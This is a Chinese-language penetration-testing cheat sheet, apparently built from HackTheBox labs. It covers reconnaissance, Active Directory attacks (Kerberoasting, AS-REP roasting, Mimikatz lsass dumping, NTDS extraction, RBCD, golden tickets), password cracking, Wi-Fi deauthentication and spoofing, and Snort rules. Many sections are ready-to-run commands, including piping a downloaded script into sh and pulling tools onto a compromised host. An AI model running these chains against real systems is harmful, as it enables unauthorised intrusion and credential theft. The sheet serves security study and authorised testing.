Pentest Cheat Sheet
可以參考1,裡面有詳細說明Vulnerability Assessment and Penetration Testing (VAPT)會使用到的工具有哪些。
Pre-engagement interactions
- 確認測試範圍
- 簽 NDA
- 確定目標
Intelligence Gathering (Recon)
-
Syntax Description Example + 連接多個關鍵字 – - 忽略關鍵字 – .. 範圍 – * 萬用字元 – ’’ 精準查詢,一定要符合關鍵字 index of intext 搜尋網頁內容,列出符合關鍵字的網頁 intext:SECRET_KEY intitle 搜尋網頁中的標題 intitle:index of define 搜尋關鍵字的定義 define:hacker filetype 搜尋指定類型的文件 filetype:pdf info 搜尋指定網站的基本資訊 info:www.fcu.edu.tw related 搜尋類似於指定網站的其他網站 related:www.fcu.edu.tw inurl 尋找指定的字串是否在網址列當中 inurl:www.fcu.edu.tw site 搜尋指定網址的內容 site:www.fcu.edu.tw -
掃port
1
2
3
4
5
6
7
8
9
10$ nmap -sC -sV -p- <ip> -oN scan.txt # 針對所有的port掃描比較完整 $ nmap -p- -Pn <ip> # 針對所有port掃描並且對待每一個port都等到timeout才斷線比較完整但超慢 $ nmap -p- -T4 <ip> # 有加速但也有可能會漏掉一些port # or 用RustScan比較快 $ wget https://github.com/bee-san/RustScan/releases/download/2.4.1/x86_64-linux-rustscan.tar.gz.zip $ unzip x86_64-linux-rustscan.tar.gz.zip $ unzip x86_64-linux-rustscan.tar.gz $ chmod +x rustscan $ sudo mv rustscan /usr/local/bin/
For Windows AD
AD 滲透 = enum → user → credential → login → privesc
- smbclient: 用來連接和操作 SMB/CIFS 共享(文件夾、印表機等)。
1
2
3
4
5$ sudo apt install smbclient -y $ smbclient -L //<target ip> -N # -N代表不用密碼 / -L列出share $ smbclient //<target ip>/<username> -N smb: \> dir # 列出目前有哪些file可以get smb: \> get <filename>
Enumeration Users
- 懶人神器enum4linux: 是一個在 AD / Windows 滲透中非常常見的 資訊蒐集(enumeration)工具,專門用來從 SMB / NetBIOS(139/445) 抓資料。把很多工具包在一起(例如
smbclient、rpcclient、net等),幫你一次跑完1
2
3$ git clone https://github.com/CiscoCXSecurity/enum4linux $ cd enum4linux $ ./enum4linux.pl -a <target ip>重點是確定domain name, domain sid, Username, Password
- ldapsearch: 用來查詢 LDAP 目錄服務的工具,在 AD(Active Directory)滲透裡非常重要。
1
2
3
4
5$ sudo apt update $ sudo apt install ldap-utils $ ldapsearch -x -H ldap://<target ip> $ ldapsearch -x -D <user>@<target domain> -w <password> $ ldapsearch -x -H ldap://<target ip> -D "support\ldap" -w '<password>' -b "dc=support,dc=htb" "(objectClass=user)" sAMAccountName description info - rpcclient: 透過 RPC(Remote Procedure Call) 協定與 Windows 主機互動,主要針對 Active Directory 架構的枚舉。
1
2$ rpcclient -U "" <ip> enumdomusers - kerbrute: 利用提供的user list爆破實際的dc有沒有這個user
1
2
3$ kerbrute userenum --dc <ip> -d <domain name> <user list> $ cp /snap/seclists/current/Usernames/xato-net-10-million-usernames.txt ./users.txt # 先安裝seclists $ ./kerbrute_linux_amd64 userenum -d overwatch.htb --dc 10.129.244.81 users.txt - crackmapexe: 如果已經有foothold的情況下
1
$ crackmapexec smb <target ip> -u <username> -p '<password>' --rid-brute
Inspect Platform
- Virus Total
- Alien Vault
- IBM X-Force
- Any.Run: Online Sandbox
- Hybrid Analysis
OSINT
- sherlock
1
2
3
4
5$ git clone https://github.com/sherlock-project/sherlock.git $ cd sherlock $ conda create --name sherlock python=3.10 -y $ pip install -r requirements.txt $ python sherlock/sherlock.py <username> - Image Search
- Google Map
- OSINT Framework
- 如果要查看手機本身的Network IP(不是wifi),可以看 https://ipinfo.io
Web Directory
- Dirbuster
- Gobuster
- Wfuzz
- ffuf
1
2
3$ sudo apt install ffuf $ ffuf -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -w /snap/seclists/1214/Discovery/DNS/subdomains-top1million-20000.txt -k -fs <filter size> # for subdomain $ ffuf -u https://mcp.kobold.htb/FUZZ -w /snap/seclists/1214//Discovery/Web-Content/common.txt -k # for directory
Network Info & Package
-
Type eth ip tcp udp 說明 dst eth.dst == ff:ff:ff:ff:ff ip.dst == 140. 134.4. 1 目的 MAC/IP src eth.src == 00:e0:18:64;ce:f2 ip.src == 140.134. 30.72 來源 MAC/IP addr eth.addr == ff:ff:ff:ff:ff ip.addr == 140.134. 30.72 MAC/IP 位址 proto ip.proto == 0x06(TCP)
ip.proto == 0x01(ICMP)
ip.proto == 0x11 (UDP)下一層協定 type eth.type == 0x800(IP)
eth.type == 0x806(ARP)下一層協定 port tcp.port == 23(Talnet) ucp.port == 53 Port編號 dstport tcp.dstport == 80(HTTP) ucp.dstport == 53(DNS) 目的Port scrport tcp.scrport == 21(FTP) ucp.scrport == 69(TSTP) 來源Port - ntpdc
1
$ sudo apt-get install ntpdc - tcpflow
1
$ sudo tcpflow -r <pcap file> - dsniff: Various tools to sniff network traffic for cleartext insecurities
- arpspoof:
1
2$ arpspoof -t victim_ip router_ip $ arpspoof -i eth0 -t victim_ip -r gateway - dnsspoof: Forge replies to DNS address / pointer queries
1
$ sudo dnsspoof -i eth0 -f dns.txt - dsniff: Password sniffer
- arpspoof:
- Snort: 是一個非常知名的開源網路入侵偵測系統(IDS, Intrusion Detection System),有3種模式
- Sniffer Mode: 最基本模式,只是讀取封包並顯示,類似tcpdump
1
$ snort -v - Packet Logger Mode: 將封包記錄到檔案
1
$ snort -dev -l ./log - Network Intrusion Detection System Mode(NIDS最常用): 使用 rules 來偵測攻擊
1
2
3$ snort -c snort.conf $ sudo snort -d -l [target directory] $ sudo snort -d -l /var/log/snort/ -c /etc/snort/snort.conf -A console# 如果任何 TCP 流量連到192.168.1.10:80就產生 alert alert tcp any any -> 192.168.1.10 80 (msg:"Possible attack"; sid:10001;) # 如果某個來源在 1 秒內向 SSH server 發送 2 次 SSH 連線流量,就觸發警報。 ## 任何 TCP 流量 → port 22 都會被檢查。 ## 只檢查 client 發送到 SSH server 的封包 ## 封包 payload 必須包含:SSH ## 不區分大小寫 ## 從 payload 的 第 0 byte 開始比對。 ## 只檢查 前 4 bytes。所以實際上檢查:payload[0:4]是否包含:SSH ## 同一個來源 IP在 1 秒內發送 2 次符合條件的封包 ## 每個 rule 的唯一 ID。 alert tcp any any -> any 22 ( msg:"SSH Brute Force Attempt"; flow:established,to_server; content:"SSH"; nocase; offset:0; depth:4; detection_filter:track by_src, count 2, seconds 1; sid:1000001; rev:1;) /etc/snort/snort.conf # Snort config file /var/log/snort/ # Snort log path /etc/snort/rules/ # Snort rule path
- Sniffer Mode: 最基本模式,只是讀取封包並顯示,類似tcpdump
Threat Modeling
- 分析 attack surface
- 找 attack path
Vulnerability Analysis
- 找漏洞
- CVE analysis
For Windows AD
- Windows Exploit Suggester - Next Generation (WES-NG): 如果已經進入AD,想要本地提權,比較快的方式就是直接利用本地端的弱點,這個repo可以分析目前的狀況給予一些CVE的建議
1
2
3
4
5$ git clone https://github.com/bitsadmin/wesng.git --depth 1 $ cd wesng $ python wes.py --update $ systeminfo.exe > systeminfo.txt # 這條指令是windows內建的指令,所以一定要在cmd中操作 $ python wes.py systeminfo.txt
Exploitation
- 利用漏洞取得 access
- Post Exploitation
For Windows AD
進入AD Domain之後的Recon
1 | |
錯誤配置
- 服務使用高權限執行且檔案權限配置錯誤,所以只要把這項服務替換成惡意程式,最後再利用前面提到的print operator重開機,就可以達到控制的目的
- 透過accesschk.exe找出有問題的地方
1
2$ accesschk.exe <user> <path> $ accesschk.exe "Administrator" "C:\Program Files\"
收集更多密碼(已經提權成功的前提下)
- Brute Force SAM
- 利用
reg.exe(Windows註冊碼工具)匯出SAM File1
2
3
4
5
6
7# 方法1 $ reg save HKLM\SAM <save filename> $ reg save HKLM\SYSTEM <save filename> # 方法2 $ c:\tools\PrintSpoofer64.exe -c "reg save HKLM\SAM C:\inetpub\wwwroot\sam" # 方法3: 利用Invoke-NinjaCopy.ps1這個腳本,就可以複製出來,原理是使用windows的影子複製 $ .\Invoke-NinjaCopy -Path SAM -LocalDestination C:\tools\SAM_COPY - 解析SAM內容
- Win10 v1607之前的解法: 用kali的samdump2解析,如果看到很多disabled,就要使用下面的方法
1
$ samdump2 system sam - Win10 v1607之後有用到AES加密,所以可以用Creddump7,建議使用anaconda這樣的虛擬環境,不然直接用內建的virtualenv會出事
1
2
3
4$ conda activate py2.7 $ pip install pycrypto $ git clone https://github.com/CiscoCXSecurity/creddump7.git $ python pwdump.py system sam
- Win10 v1607之前的解法: 用kali的samdump2解析,如果看到很多disabled,就要使用下面的方法
- 解析hash
- 方法一:用online database,就是把NTLM Hash丟到隨便的database看有沒有紀錄,例如23
- 方法二:爆字典檔,在kali中的/usr/share/wordlists有一些字典檔可以用,例如rockyou等等,可以先用看看
1
2
3
4
5
6$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz $ cp /usr/share/wordlists/rockyou.txt ./. # or $ sudo apt install hashcat $ hashcat -a 0 -m 1000 ntlm.hash rockyou.txt --force
- 利用
- Password Spraying(用猜的)用一組密碼去爆所有的帳號: CrackMapExec - 結合各種功能的內網滲透神器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# Install $ sudo apt install crackmapexec $ sudo snap install crackmapexec # For wsl $ crackmapexec <protocol> <target(s)> -u <a file or string only> -p <a file or string only> # For example $ crackmapexec smb 10.10.10.100 -u administrator -p Passw0rd $ crackmapexec smb 10.10.10.100 -u ~/file_usernames -p ~/file_passwords $ crackmapexec smb 10.10.10.100 -u administrator -p Passw0rd --local-auth $ crackmapexec smb <filename> -u administrator -p Passw0rd --local-auth # 實際的例子 $ crackmapexec smb 192.168.222.128/24 -u administrator -p 1qaz@WSX3edc SMB 192.168.222.129 445 DESKTOP-G95U93T [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-G95U93T) (domain:kuma.org) (signing:False) (SMBv1:False) SMB 192.168.222.128 445 WIN-818G5VCOLJO [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-818G5VCOLJO) (domain:kuma.org) (signing:True) (SMBv1:True) SMB 192.168.222.129 445 DESKTOP-G95U93T [+] kuma.org\administrator:1qaz@WSX3edc (Pwn3d!) SMB 192.168.222.128 445 WIN-818G5VCOLJO [+] kuma.org\administrator:1qaz@WSX3edc (Pwn3d!) - 記憶體(lsass): 透過Mimikatz取得Local Admin的NTLM
- 把lsass dump下來
- 找到Local Security Authority Process(LSASS),右鍵選建立傾印檔案,就可以直接dump memory
- 直接使用Procdump,當然你必須要取得足夠的權限
1
$ procdump.exe -accepteula -ma lsass.exe lsass.dmp > c:\tmp.txt
- 分析lsass
- 以系統管理員啟動mimikatz
1
2
3
4
5$ Privilege::Debug Privilege '20' OK $ log Using 'mimikatz.log' for logfile : OK $ Sekurlsa::logonPasswords - 如果Mimikatz不能用,或是直接被defender刪除,可以把檔案丟到自己的電腦用mimikatz分析,或者是透過Minidump獲取資訊
1
2
3$ Sekurlsa::minidump "<path to lsass.dmp>" Switch to MINIDUMP : '<path to lsass.dmp>' $ Sekurlsa::logonPasswords1
* 顯示Mimikatz的明文 - 有辦法重開機
- 只要打開regedit,在
電腦\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest可能會看到UseLogonCredential的名稱,只要把對應的數值改成1就可以了,當然如果沒看到的話也可以自己新增 - 重開機: 重開機前可以先把之前mimikatz的結果存起來,照樣之後可以對照著看
- 只要打開regedit,在
- 沒有辦法重開機
- Inject memssp: 用系統管理員權限開mimikatz
1
2
3$ privilege::debug $ misc::memssp Injected =) - Relogin: 重新登出再登入才會看到
- 在
C:\Windows\System32\mimilsa.log可以看到用明文的方式新增了密碼
- Inject memssp: 用系統管理員權限開mimikatz
- 以系統管理員啟動mimikatz
- 把lsass dump下來
- 爆NTDS.DIT
1
2
3
4
5
6# dump NTDS.DIT $ impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL -outputfile hashes.txt # Brute Force $ john hashes.txt.ntds --format=NT $ hashcat -m 1000 ./myhashes.txt.ntds ./fasttrack.txt --show --username - AS-REP Roasting: 是一種針對 Kerberos authentication 的攻擊技術,用來離線破解使用者密碼,而且通常不需要先登入任何帳號,可以直接看NTUSTISC - AD Note - Lab(0x21 AS-REP Roasting)的教學
1
2
3$ sudo snap install seclists $ cp /snap/seclists/current/Usernames/top-username-shortlist.txt ~/users.txt $ GetNPUsers.py <domain>/ -usersfile users.txt -dc-ip <target ip> -no-pass - Kerberoasting: 前提是有一個帳號(普通user也可以),並且有SPN帳號,解釋可以可以看Security Related,簡單來說就是: 用合法帳號 → 要服務票證 → 拿 hash → 離線爆破 → 拿服務帳密
1
2$ GetUserSPNs.py domain/user:password -request # 如果有的話就可以離線爆破密碼 $ GetUserSPNs.py overwatch.htb/sqlsvc:'TI0LKcfHzZw1Vv' -request - 利用Responder假裝成網路服務,誘騙目標把 NTLM 認證送給你
For Linux
- 爆破SSH Private Key: 想辦法remote找
~/.ssh並且dump private key再local爆破(id_ed25519)
RDP
- Linux / Kali
- xfreerdp
1
2
3
4$ sudo apt install freerdp2-x11 -y $ ipconfig # check win10 ip $ xfreerdp /d:<domain> /p:<passwd> /v:<ip> /u:<user> $ xfreerdp /d:kuma.org /p:1qaz@WSX3edc /v:192.168.222.129 /u:administrator - Libfreerdp
- Impacket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# Set up & Install $ git clone https://github.com/fortra/impacket.git $ cd impacket $ conda activate py3.7 # Recommended to install it in conda $ pip3 install -r requirements.txt $ python3 setup.py install # or $ sudo snap install impacket $ sudo apt install python3-impacket # 在kali中 # Cheat-Sheet $ conda activate py3.7 $ proxychains psexec.py <username>:<password>@<ip> whoami $ proxychains psexec.py kuma\administrators:1qaz@WSX3edc@192.168.222.129 dir - CrackMapExec
1
2
3$ crackmapexec smb <IP> -u <username> -p <password --exec-method smbexec -x '<command>' # exec-method支援以下方法: mmcexec, smbexec, wmiexec, atexec $ crackmapexec smb 192.168.222.129 -u administrator -p 1qaz@WSX3edc --exec-method smbexec -x 'dir C:\tools'
- xfreerdp
- Windows
- Psexec.exe: 用 SMB + service 拿 SYSTEM shell
1
2$ PsExec.exe -i \<Remote IP> -accepteula -u <domain>\<Remote Username> -p <Remote Password> cmd $ PsExec.exe -i \192.168.222.129 -accepteula -u kuma.org\administrator -p 1qaz@WSX3edc cmd - evil-winrm: 遠端 PowerShell(類似 SSH),有帳密就能登入(不一定要 admin)很穩,適合初始foothold
1
2$ sudo apt install evil-winrm $ evil-winrm -i <target ip> -u <username> -p '<password>'
- Psexec.exe: 用 SMB + service 拿 SYSTEM shell
Wireless Related
- 大部分都會用到Aircrack這個工具
- Deauthentication - airodump-ng教學 / aireplay-ng教學
- 攻擊說明: [Day 05]資安百物語:第二談:現代飛頭蠻的反制法-反無人機技術(下)
- Scan
將掃描範圍縮小到一個目標,並取得連接到目標網路的裝置的MAC位址。
1
2
3$ airodump-ng -bSSID <bssid> --ch <channels> WLAN0mon # 此命令用於通過識別 BSSID(基本服務集識別符)和所使用的通道來設置目標網路上的掃描 # -c: 指定只接收特定的 channels,如果有多個 channel,用 , 分隔,例如:-c 6,8,10,11 - Attack
1
2
3
4$ aireplay-ng --deauth <count, e.g. 1000> -a <bssid, e.g. 6A:BF:C4:06:35:94> -c <AP MAC address, e.g 34:CF:F6:96:72:E2> wlan0mon # -c dmac : 指定 Client 的 MAC address # -a bssid : 指定 AP 的 MAC address # --deauth: count 是指執行阻斷的次數,如果設為 0 表循環攻擊,Client 將無法上網。
- Scan
將掃描範圍縮小到一個目標,並取得連接到目標網路的裝置的MAC位址。
- 攻擊說明: [Day 05]資安百物語:第二談:現代飛頭蠻的反制法-反無人機技術(下)
- Fluxion: 攻擊說明與工具教學: 實戰-Fluxion與wifi熱點偽造、釣魚、中間人攻擊、wifi破解,Fluxion 攻擊的主要目標是獲取目標 Wi-Fi 網路使用者使用的密碼或訪問憑據。此攻擊可使攻擊者未經授權訪問目標網路,而有關於Captive Portal(WEB Portal)的驗證流程可以參考這篇
- Captive Portal Attack 根據前面的background可以知道web portal的驗證流程,那如果把原本的hotspot換成一個假的hotspot,讓使用者誤以為這是真的驗證頁面(需要帳號密碼之類的),那我們就有機會拿到credentials session
- 直接取得SSID/BSSID/Channel Used/Password Used/Type of Security Applied
- MITM - Xerosploit教學: Sniff模組允許攻擊者監控通過目標Wi-Fi網路的數據流量,包括使用者發送的數據。通過監視此類流量,攻擊者可以竊取身份驗證憑據、個人資訊或其他敏感數據等資訊,sniff完了以後可以用wireshark打開看流量
- WEP/WPA Attack: WEP/WPA 注入攻擊是針對使用 WEP/WPA 安全協定的無線網路的針對性攻擊。此攻擊旨在滲透網路安全並獲得對透過網路傳輸的資料流量的未經授權的存取。一旦收集到加密的流量數據,攻擊者就可以分析該數據的模式和結構,以識別網路中使用的加密金鑰。透過取得加密金鑰,攻擊者可以破解透過網路發送的資料流量的加密。
- Handshake on the target Wi-Fi network
- DoS - Aircrack的Wi-Fi DoS攻擊
Brute Force
不管是John還是Hashcat都建議用Kali,如果不知道password hash是哪一種可以用Hash Identifier查看再拿去問GPT適合哪一種
- For system user:John The Ripper, 教學
1
2
3
4
5
6
7
8
9
10
11$ sudo apt install john # NTLM $ ./run/john.exe <pwn file> --wordlist=<dictionary path> --format=<NT...> $ john hashes.txt.ntds --format=NT # JWT $ john jwt.txt --wordlist=<e.g. /usr/share/wordlists/rockyou.txt> --format=<jwt alg, e.g. HMAC-SHA256> # ssh $ ssh2john id_ed25519 > hash.txt # 爆破private key $ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt - hashcat:
1
2
3
4
5# NTLM $ hashcat -a 0 -m 1000 <ntlm.hash> <rockyou.txt> --force # JWT $ hashcat -a 3 -m 16500 <jwt.txt> <secrets format, e.g. ?a?a?a?a> - 生成字典: Crunch
1
2
3# crunch <min_length> <max_length> [charset] $ crunch 4 4 # 生成所有 4 個字元的組合aaaa ~ zzzz $ crunch 4 4 abc # 可以指定可使用的字元 aaaa ~ cccc - Rockyou.txt
- Online Tool 1 - cmd5
- Online Tool 2 - hashes
- Online Tool 3 - crackstation
- For WPA/Wifi based:
aircrack-ng, Wifite - creddump: 教學
Post-Exploitation(後滲透階段)
- 所有工具的shell的集合: GTFOBins
Privilege Escalation - For Linux
- LinPEAS: 用於linux based的提權工具,更詳細的讓linpeas.sh落地的方法可以看Official README
1
2
3
4
5
6# From public github $ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # Local network $ sudo python3 -m http.server 80 #Host: 要確保./linpeas.sh存在 $ curl <host ip>/linpeas.sh | sh #Victim - pspy: 不需要root權限即可查看process狀態,並且有機會撈出docker/ssh等plaintext password(
$ ./pspy) - 也可以看一下有哪些
getcap的角色,也就是把自己有權限把自己的UID設定成root(0):cap_setuid+ 可執行任意程式碼 = root,如果結果包含python, perl, node, vim之類的,就等於拿到RCE1
2$ getcap -r / 2>/dev/null $ python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")' - SSH Certificate Authority: 也就是利用SSH CA幫我們簽合法的root ssh private key,通常出現在「規模比較大的環境」才會用 SSH CA或是自動化部署的情境
1
2
3
4
5
6$ grep -R "TrustedUserCAKeys" /etc/ssh 2>/dev/null # 確認有CA的private key,不一定在這裡,只是HTB的Principal題目放在這裡 /etc/ssh/sshd_config.d/60-principal.conf:TrustedUserCAKeys /opt/principal/ssh/ca.pub $ scp svc-deploy@10.129.13.41:/opt/principal/ssh/ca . # 把CA private key dump to local $ ssh-keygen -f mykey -N "" # 我自己產生key $ sudo ssh-keygen -s ca -I root -n root mykey.pub # 叫CA幫我簽這個key $ sudo ssh -i mykey root@10.129.13.41 # 拿 cert 登入 - sudo misconfig
- cron job
1
2
3$ crontab -l $ cat /etc/crontab $ ls -la /etc/cron* - writable script
進入domain之後的recon
1 | |
Privilege Escalation - For Windows AD
- WinPEAS: 用於Windows的提權工具,最主要是要把這個檔案送到target server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22# 在自己的電腦 $ ipconfig 不明的介面卡 區域連線: ... IPv4 位址 . . . . . . . . . . . . : 10.10.15.135 ... $ wget https://github.com/peass-ng/PEASS-ng/releases/download/20260320-6aabf6f8/winPEASx64.exe $ python -m http.server 8000 # deploy local web server to communicate with target server # 在target的reverse shell $ evil-winrm -i <target ip> -u <user> -p '<password>' *Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> Invoke-WebRequest -Uri "http://10.10.15.135:8000/winPEASx64.exe" -OutFile "winPEAS.exe" -UseBasicParsing # 把本地端的檔案送進去,要注意開evil-winrm的path一定要是WinPEAS檔案存在的同一個path *Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> dir Directory: C:\Users\sqlmgmt\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 3/21/2026 11:44 PM 34 user.txt -a---- 3/22/2026 12:09 AM 11115520 winPEAS.exe *Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> .\winPEAS.exe -
Mimikatz: 一個強力的Windows提權工具,可以提升Process權限、注入Process讀取Process記憶體,可以直接從lsass中獲取當前登錄過系統用戶的帳號明文密碼。實際使用可以參考NTUSTISC - AD Note - Lab(0x16透過Mimikatz取得Local Admin的NTLM)
- Hijack Token: PrintSpoofer: Support: Windows 8.1/Server 2012 R2/10/Server 2019
- 如果進入的AD有
SeImpersonatePrivilege => CreateProcessWithToken(),SeAddignPrimaryToekn => CreateProcessAsUser()這兩個其中一個權限的話才能用1
2
3
4
5
6
7
8$ whoami /priv # 先看一下目前的AD有哪些權限 $ PrintSpoofer.exe -c "whoami" [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening ... [+] CreateProcessAsUser() OK $ PrintSpoofer64.exe -c "c:\windows\system32\cmd.exe /c whoami > c:\inetpub\wwwroot\tmp.txt" $ cat "c:\inetpub\wwwroot\tmp.txt" nt authority\system # 目前權限已經轉換成nt authority\system也就是前面說的==本地端真正的最高權限使用者==
- 如果進入的AD有
- RBCD(Resource-Based Constrained Delegation)
- 透過修改目標電腦的 delegation 屬性,使攻擊者控制的 machine 可以代表任意使用者取得服務票,進而 impersonate 高權限帳號。
- 先檢查目前的credential是否對AD有完全控制權,如果有bloodhound可以參考下面的圖

1
2
3
4
5
6
7
8
9# 建立一台可以完全控制的 $ impacket-addcomputer support.htb/support:'Ironside47pleasure40Watchful' -dc-ip 10.129.230.181 -computer-name FAKE$ -computer-pass Pass123! # 寫入 delegation: 現在變成 DC 信任前面建立的 machine $ impacket-rbcd support.htb/support:'Ironside47pleasure40Watchful' -dc-ip 10.129.230.181 -action write -delegate-from FAKE$ -delegate-to DC$ # $ impacket-getST support.htb/FAKE$:'Pass123!' -dc-ip 10.129.230.181 -spn cifs/DC.support.htb -impersonate Administrator # 用 Kerberos S4U $ export KRB5CCNAME=Administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache $ impacket-psexec support.htb/Administrator@DC.support.htb -k -no-pass
Persistence - Linux
1 | |
排程任務
- 使用者本身的排程
1
2$ crontab -l # 查看目前的排程任務 $ sudo ls -l /var/spool/cron/crontabs/ # 查看還有哪些使用者有設定排程 - 系統級的排程
1
$ ll /etc/cron* -
正常的任務
檔案 / 目錄 用途 /etc/crontab系統主 crontab /etc/cron.d/anacron定期啟動 anacron(維護 cron 任務) /etc/cron.d/e2scrub_all擴展檔案系統檢查 /etc/cron.d/popularity-contestDebian 系統統計 package 使用頻率 /etc/cron.daily/logrotate日誌輪替 /etc/cron.daily/man-db更新 man database /etc/cron.daily/apt-compatapt 相關維護 /etc/cron.daily/dpkgdpkg 相關維護
Persistent - Windows
- Golden Ticket: 前提是已經完成提權拿到Domain Admin並且拿到krbtgt hash
1
2
3
4
5
6
7
8
9
10
11
12# 利用Mimikatz直接從 DC 把 hash 拉下來並且成功拿到krbtgt: <NTLM hash> $ lsadump::lsa /patch $ lsadump::dcsync /user:krbtgt # 建立假的TGT: 可以用mimikatz or rubeus $ kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:<hash> /ptt $ Rubeus.exe golden /user:Administrator /domain:corp.local /sid:XXX /krbtgt:<hash> /ptt # 實際acess service: 以下任一方法都可以 $ psexec.py -k -no-pass corp.local/administrator@dc $ evil-winrm -k -i dc $ wmiexec.py -k -no-pass
Reporting
- 撰寫 pentest report
- remediation suggestion
- CaseFile
- dos2unix
Sysinternal
系統操作與管理
- PsExec
psexec是windows下非常好的一款遠程命令行工具。psexec的使用不需要對方主機開機3389端口,只需要對方開啟admin共享或c(該共享默認開啟,依賴於445端口)。但是,假如目標主機開啟了防火墻(因為防火墻默認禁止445端口的連接),psexec也是不能使用的,會提示找不到網絡路徑。由於psexec是windows提供的工具,所以殺毒軟件會將其添加到白名單中。
- PsKill: 終止本地或遠端進程。
- PsList: 列出進程資訊,包括 CPU、記憶體使用情況。
- PsLoggedOn 查看誰登入了本機或遠端系統。
- PsService 管理本地或遠端服務(啟動、停止、查詢狀態)。
系統資訊與監控
- Sysmon
事件識別碼 1:處理程序建立 處理程序建立事件會提供新建立處理程序的延伸資訊。 完整的命令列提供處理程序執行的內容。
ProcessGUID欄位是跨定義域此處理程式的唯一值,可讓事件相互關聯更容易。 雜湊是檔案的完整雜湊,具有HashType欄位中的演算法。事件識別碼 8:CreateRemoteThread
CreateRemoteThread事件會偵測處理程序何時在另一個處理程序中建立執行緒。 惡意程式碼會使用這項技術來插入程式碼,並隱藏在其他處理程序中。 事件表示來源和目標處理程序。 其會提供將在新執行緒中執行之程式碼的資訊:StartAddress、StartModule和StartFunction。 請注意,系統會推斷StartModule和StartFunction欄位,如果起始位址位於載入的模組或已知的匯出函式之外,這些欄位可能會是空的。事件識別碼 11:FileCreate 建立或覆寫檔案時,系統會記錄檔案建立作業。 此事件適用於監視自動啟動位置,例如開機資料夾,以及暫存和下載目錄,這是初始感染期間惡意程式碼放置的常見位置。
事件識別碼 13:RegistryEvent (值已設定) 此登錄事件類型會識別登錄值修改。 事件會記錄針對類型為
DWORD和QWORD的登錄值所寫入的值。 - Procexp (Process Explorer) & Process Hacker 好看版的工作管理員
- Procmon
- 監控程序行為
- Registry
- File system
- Network
- Process/Thread
- Procdump: 產生指定進程的 memory dump
1
$ dump lsass.exe memory # 取得憑證(這是很多 Windows 後門 / lateral movement 攻擊的方式)。
網路分析
- TCPView: 顯示所有 TCP/UDP 連線和端口使用狀態,可用於偵測可疑連線。
- PsPing: 提供 ping、延遲測試和帶寬測量功能,比內建 ping 更靈活。
- whois
1
$ whois64.exe -v domainname
安全取證 / 數位取證
- AccessChk: 用來查看「某個 user / group 對某個資源到底有沒有權限」,查看檔案、登錄項、服務的權限,方便檢查系統安全性。
1
2
3
4
5
6
7
8
9
10
11# 檢查某 user 對資料夾權限 $ accesschk user C:\test # 找可寫的 service(常見提權) $ accesschhk -uwcqv "Authnticated Users" * # 找可寫的 registry $ accesschk -k HKLM\Software # 找某 user 的所有權限 $ accesschk -d user - Sigcheck: 驗證執行檔簽名與版本資訊,檢測潛在惡意程式。
- VMMap: 分析程序的記憶體使用情況,包括堆、棧、映射文件。
平台
- Kali的所有工具可以直接參考4,裡面有詳細分類
- Information Gathering Tools(67)
- Vulnerability Analysis Tools(27)
- Exploitation Tools(21)
- Wireless Attacks Tools(54)
- Forensics Tools(23)
- Web Applications tools(43)
- Stress Testing tools(14)
- Sniffing & Spoofing Tools(33)
- Password Attacks Tools(39)
- Maintaining Access Tools(17)
- Reverse Engineering Tools(11)
- Reporting Tools(10)
- Hardware Hacking(6)
- Some Parrot OS in-built tools(20)
- Everything About Net Scanning
- WpScan: 專門檢測WordPress類型的網頁,有哪些漏洞,前期可以掃描出WP版本、安裝的theme或是插件有哪些、安全漏洞等等
- Nessus教學: Nessus 作為修復網路、網站和軟體開發中的安全漏洞、作業系統漏洞、應用程式漏洞、配置漏洞等的工具
- Metasploit教學
1
2
3
4
5
6$ msfconsole msf > search <keyword> # e.g. WingFTP msf > use <0,1,2...> # 進入第<0,1,2..>的module msf exploit(multi/http/wingftp_null_byte_rce) > options # 查看有哪些parameter需要設定 msf exploit(multi/http/wingftp_null_byte_rce) > set RHOSTS ... msf exploit(multi/http/wingftp_null_byte_rce) > run # 等參數都設定好之後就可以實際run
Reference
-
Ravindran, U., & Potukuchi, R. V. (2022). A Review on Web Application Vulnerability Assessment and Penetration Testing. Review of Computer Engineering Studies, 9(1). ↩
-
ul Hassan, S. Z., Muzaffar, Z., & Ahmad, S. Z. (2021). Operating Systems for Ethical Hackers-A Platform Comparison of Kali Linux and Parrot OS. International Journal, 10(3). ↩
